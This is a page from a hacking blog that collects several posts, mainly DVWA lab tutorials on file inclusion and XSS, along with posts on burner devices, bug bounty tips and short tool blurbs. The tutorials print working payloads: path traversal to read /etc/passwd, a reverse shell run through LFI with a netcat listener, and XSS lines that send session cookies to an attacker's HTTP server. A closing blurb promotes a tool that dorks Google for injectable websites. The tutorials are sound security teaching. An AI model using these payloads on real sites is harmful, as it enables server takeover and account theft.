Tuesday, May 19, 2020

Learning Web Pentesting With DVWA Part 6: File Inclusion

In this article we are going to go through File Inclusion Vulnerability. Wikipedia defines File Inclusion Vulnerability as: "A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application."
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
Since it is loading different pages we can guess that it is loading local pages from the server and executing them. Lets try to get the famous /etc/passwd file found on every linux, to do that we have to find a way to access it via our LFI. We will start with this:
../etc/passwd
entering the above payload in the page parameter of the URL:
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
we get nothing back which means the page does not exist. Lets try to understand what we are trying to accomplish. We are asking for a file named passwd in a directory named etc which is one directory up from our current working directory. The etc directory lies at the root (/) of a linux file system. We tried to guess that we are in a directory (say www) which also lies at the root of the file system, that's why we tried to go up by one directory and then move to the etc directory which contains the passwd file. Our next guess will be that maybe we are two directories deeper, so we modify our payload to be like this:
../../etc/passwd
we get nothing back. We continue to modify our payload thinking we are one more directory deeper.
../../../etc/passwd
no luck again, lets try one more:
../../../../etc/passwd
nop nothing, we keep on going one directory deeper until we get seven directories deep and our payload becomes:
../../../../../../../etc/passwd
which returns the contents of passwd file as seen below:
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php
We will get a base64 encoded string. Lets copy that base64 encoded string in a file and save it as index.php.b64 (name can be anything) and then decode it like this:
cat index.php.b64 | base64 -d > index.php
We will now be able to read the web application's source code. But you maybe thinking why didn't we simply try to get index.php file without using php filter. The reason is because if we try to get a php file with LFI, the php file will be executed by the php interpreter rather than displayed as a text file. As a workaround we first encode it as base64 which the interpreter won't interpret since it is not php and thus will display the text. Next we will try to get a shell. Before php version 5.2, allow_url_include setting was enabled by default however after version 5.2 it was disabled by default. Since the version of php on which our dvwa app is running on is 5.2+ we cannot use the older methods like input wrapper or RFI to get shell on dvwa unless we change the default settings (which I won't). We will use the file upload functionality to get shell. We will upload a reverse shell using the file upload functionality and then access that uploaded reverse shell via LFI.
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999
Then using our LFI we will execute the uploaded reverse shell by accessing it using this url:
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
Voila! We have a shell.
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.

References:

  1. FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
  2. php://: https://www.php.net/manual/en/wrappers.php.php
  3. LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
  4. File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
  5. PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php


More info


  1. Hacker Profesional
  2. Amiibo Hacking
  3. Linux Hacking
  4. Growth Hacking Madrid
  5. Hacking Music
  6. Web Hacking 101
  7. Hacking Team
  8. Hacking Ético Curso
  9. Programa Hacker
  10. Hacking Wifi Android
  11. Growth Hacking Cursos
  12. Como Empezar En El Hacking
  13. Hacking Wikipedia
  14. Curso De Hacking
  15. Libro De Hacking
  16. Hacking Ético Con Herramientas Python Pdf

Monday, May 18, 2020

How To Build A "Burner Device" For DEF CON In One Easy Step

TL;DR: Don't build a burner device. Probably this is not the risk you are looking for.

Introduction

Every year before DEF CON people starts to give advice to attendees to bring "burner devices" to DEF CON. Some people also start to create long lists on how to build burner devices, especially laptops. But the deeper we look into the topic, the more confusing it gets. Why are we doing this? Why are we recommending this? Are we focusing on the right things?

What is a "burner device" used for?

For starters, the whole "burner device" concept is totally misunderstood, even within the ITSEC community. A "burner device" is used for non-attribution. You know, for example, you are a spy and you don't want the country where you live to know that you are communicating with someone else. I believe this is not the situation for most attendees at DEF CON. More info about the meaning of "burner" https://twitter.com/Viss/status/877400669669306369

Burner phone means it has a throwaway SIM card with a throwaway phone, used for one specific operation only. You don't use the "burner device" to log in to your e-mail account or to VPN to your work or home.
But let's forget this word misuse issue for a moment, and focus on the real problem.

The bad advice

The Internet is full of articles focusing on the wrong things, especially when it comes to "burner devices". Like how to build a burner laptop, without explaining why you need it or how to use it.
The problem with this approach is that people end up "burning" (lame wordplay, sorry) significant resources for building a secure "burner device". But people are not educated about how they should use these devices.

The threats

I believe the followings are some real threats which are higher when you travel:
1. The laptop getting lost or stolen.
2. The laptop getting inspected/copied at the border.

These two risks have nothing to do with DEF CON, this is true for every travel.

Some other risks which are usually mentioned when it comes to "burner devices" and DEF CON:
3. Device getting owned via physical access while in a hotel room.
4. Network traffic Man-in-the-middle attacked. Your password displayed on a Wall of Sheep. Or having fun with Shellshock with DHCP. Information leak of NTLM hashes or similar.
5. Pwning the device via some nasty things like WiFi/TCP/Bluetooth/LTE/3G/GSM stack. These are unicorn attacks.

6. Pwning your device by pwning a service on your device. Like leaving your upload.php file in the root folder you use at CTFs and Nginx is set to autostart. The author of this article cannot comment on this incident whether it happened in real life or is just an imaginary example. 

How to mitigate these risks? 

Laptop getting stolen/lost/inspected at the border?
1. Bring a cheap, empty device with you. Or set up a fake OS/fake account to log in if you really need your day-to-day laptop. This dummy account should not decrypt the real files in the real account.

Device getting owned while in a hotel room with physical access

1. Don't bring any device with you.
2. If you bring any, make it tamper-resistant. How to do that depends on your enemy, but you can start by using nail glitter and Full Disk Encryption. Tools like Do Not Disturb help. It also helps if your OS supports suspending DMA devices before the user logs in.
3. If you can't make the device tamper-resistant, use a device that has a good defense against physical attackers, like iOS.
4. Probably you are not that important anyway that anyone will spend time and resources on you. If they do, probably you will only make your life miserable with all the hardening, but still, get pwned.

Network traffic Man-in-the-middle attacked

1. Don't bring any device with you.
2. Use services that are protected against MiTM. Like TLS.
3. Update your OS to the latest and greatest versions. Not everyone at DEF CON has a 0dayz worth of 100K USD, and even the ones who have won't waste it on you. 
4. Use fail-safe VPN. Unfortunately, not many people talk about this or have proper solutions for the most popular operating systems.
5. For specific attacks like Responder, disable LLMNR, NBT-NS, WPAD, and IPv6 and use a non-work account on the machine. If you don't have the privileges to do so on your machine, you probably should not bring this device with you. Or ask your local IT to disable these services and set up a new account for you.

Pwning the device via some nasty thing like WiFi/TCP/Bluetooth/LTE/3G/GSM stack

1. Don't bring any device with you.
2. If you bring any, do not use this device to log in to work, personal email, social media, etc.
3. Don't worry, these things don't happen very often. 

Pwning your device by pwning a service on your device

Just set up a firewall profile where all services are hidden from the outside. You rarely need any service accessible on your device at a hacker conference.

Conclusion

If you are still so afraid to go there, just don't go there. Watch the talks at home. But how is the hotel WiFi at a random place different from a hacker conference? Turns out, it is not much different, so you better spend time and resources on hardening your daily work devices for 365 days, instead of building a "burner device".

You probably need a "burner device" if you are a spy for a foreign government. Or you are the head of a criminal organization. Otherwise, you don't need a burner device. Maybe you need to bring a cheap replacement device.
More info
  1. Curso De Hacking Etico
  2. Hacker Definicion Informatica
  3. Hacking Etico Certificacion
  4. Portatil Para Hacking
  5. Hacker Definicion Informatica
  6. Aprender Hacking
  7. Hacking Ético
  8. Linux Hacking
  9. Sean Ellis Hacking Growth
  10. Tools Hacking
  11. Hacking Day
  12. Elhacker Ip
  13. Como Hackear
  14. Rfid Hacking
  15. Hacking Web
  16. Android Hacking

How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

More articles

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Related news


Sunday, May 17, 2020

BeEF: Browser Exploitation Framework


"BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of XSS browser vulnerabilities. Development has focused on creating a modular structure making new module development a trivial process with the intelligence residing within BeEF. Current modules include the first public Inter-protocol Exploit, a traditional browser overflow exploit, port scanning, keylogging, clipboard theft and more." read more...


Website: http://www.bindshell.net/tools/beef


Related news

  1. Hacking Linux
  2. Aprender A Hackear Desde Cero
  3. Growth Hacking Marketing
  4. Libro Hacker
  5. Google Hacking Search
  6. Udemy Hacking
  7. Hacking Etico 101 Pdf
  8. Sean Ellis Hacking Growth
  9. Como Hackear

Exploit-Me


"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...



Website: http://securitycompass.com/exploitme.shtml

Related articles


  1. Machine Learning Hacking
  2. Hacking Curso
  3. Como Hackear
  4. Programa De Hacking
  5. Hacking Netflix Account
  6. Herramientas De Seguridad Informatica
  7. Ingeniería Social. El Arte Del Hacking Personal Pdf
  8. Hacking-Lab
  9. Curso Ethical Hacking
  10. Marketing Growth Hacking
  11. Ethical Hacking

DOWNLOAD SQLI HUNTER V1.2 – SQL INJECTION TOOL

SQLi hunter is a tool to scan for an SQLi Injection vulnerability in a website on auto-pilot. It automates the search of SQLi vulnerable links from Google using different dorks. SQLi hunter can also find admin panel page of any website by using some predefined admin page lists. Download SQLi hunter v1.2.

FEATURES

– Supports 500 results
– Url List can be Imported / Exported
– The setting for connection timeout
– Proxy Settings
If you're not totally satisfied with this tool, you can try other sql injection tools like havij , sqli dumper and sqlmap. These tools are incredibly super flexible with their advanced injection features.

DOWNLOAD SQLI HUNTER V1.2

Continue reading
  1. Hacking Definicion
  2. Hacking Bluetooth Speaker
  3. Python Hacking